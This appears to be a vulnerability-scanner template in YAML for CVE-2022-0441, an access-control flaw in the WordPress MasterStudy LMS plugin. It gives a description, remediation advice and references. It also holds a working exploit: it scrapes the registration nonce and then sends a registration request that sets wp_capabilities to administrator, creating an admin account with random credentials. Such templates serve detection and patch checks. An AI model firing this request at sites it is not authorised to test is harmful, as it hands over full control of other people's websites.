81 lines
3.1 KiB
YAML
81 lines
3.1 KiB
YAML
id: CVE-2022-0441
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info:
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name: MasterStudy LMS <2.7.6 - Improper Access Control
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author: dwisiswant0,theamanrawat
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severity: critical
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description: |
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WordPress MasterStudy LMS plugin before 2.7.6 is susceptible to improper access control. The plugin does not validate some parameters given when registering a new account, which can allow an attacker to register as an admin, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
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impact: |
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An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, potentially compromising user data and system integrity.
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remediation: |
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Upgrade to the latest version of the MasterStudy LMS plugin (2.7.6 or higher) to fix the improper access control issue.
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reference:
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- https://wpscan.com/vulnerability/173c2efe-ee9c-4539-852f-c242b4f728ed
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- https://wordpress.org/plugins/masterstudy-lms-learning-management-system/
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- https://plugins.trac.wordpress.org/changeset/2667195
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- https://nvd.nist.gov/vuln/detail/CVE-2022-0441
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2022-0441
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cwe-id: CWE-269,NVD-CWE-Other
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epss-score: 0.18749
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epss-percentile: 0.95773
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cpe: cpe:2.3:a:stylemixthemes:masterstudy_lms:*:*:*:*:*:wordpress:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: stylemixthemes
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product: masterstudy_lms
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framework: wordpress
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tags: cve2022,cve,wordpress,wp-plugin,wpscan,wp,unauth,stylemixthemes
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variables:
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username: "{{to_lower(rand_text_alphanumeric(6))}}"
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password: "{{rand_text_alphanumeric(12)}}"
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user_email: "{{username}}@{{to_lower(rand_text_alphanumeric(6))}}.com"
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http:
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- raw:
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- |
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GET / HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce={{nonce}} HTTP/1.1
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Host: {{Hostname}}
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Origin: {{BaseURL}}
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Content-Type: application/json
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{"user_login":"{{username}}","user_email":"{{user_email}}","user_password":"{{password}}","user_password_re":"{{password}}","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}
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matchers-condition: and
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matchers:
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- type: word
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part: body_2
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words:
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- 'Registration completed successfully'
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- '"status":"success"'
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condition: and
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- type: word
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part: header_2
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words:
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- application/json;
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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name: nonce
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group: 1
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regex:
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- '"stm_lms_register":"([0-9a-z]+)"'
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internal: true
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- type: kval
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kval:
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- user_email
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- password
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# digest: 490a0046304402203caca1b89d86590813202b8fb8752d8e0d84157f28710d4492b7e22778ac5c78022045ea5b6076b1d2f19237369bf18a703837516bd3cc14a5d7f6a461cd9918b15f:922c64590222798bb761d5b6d8e72950 |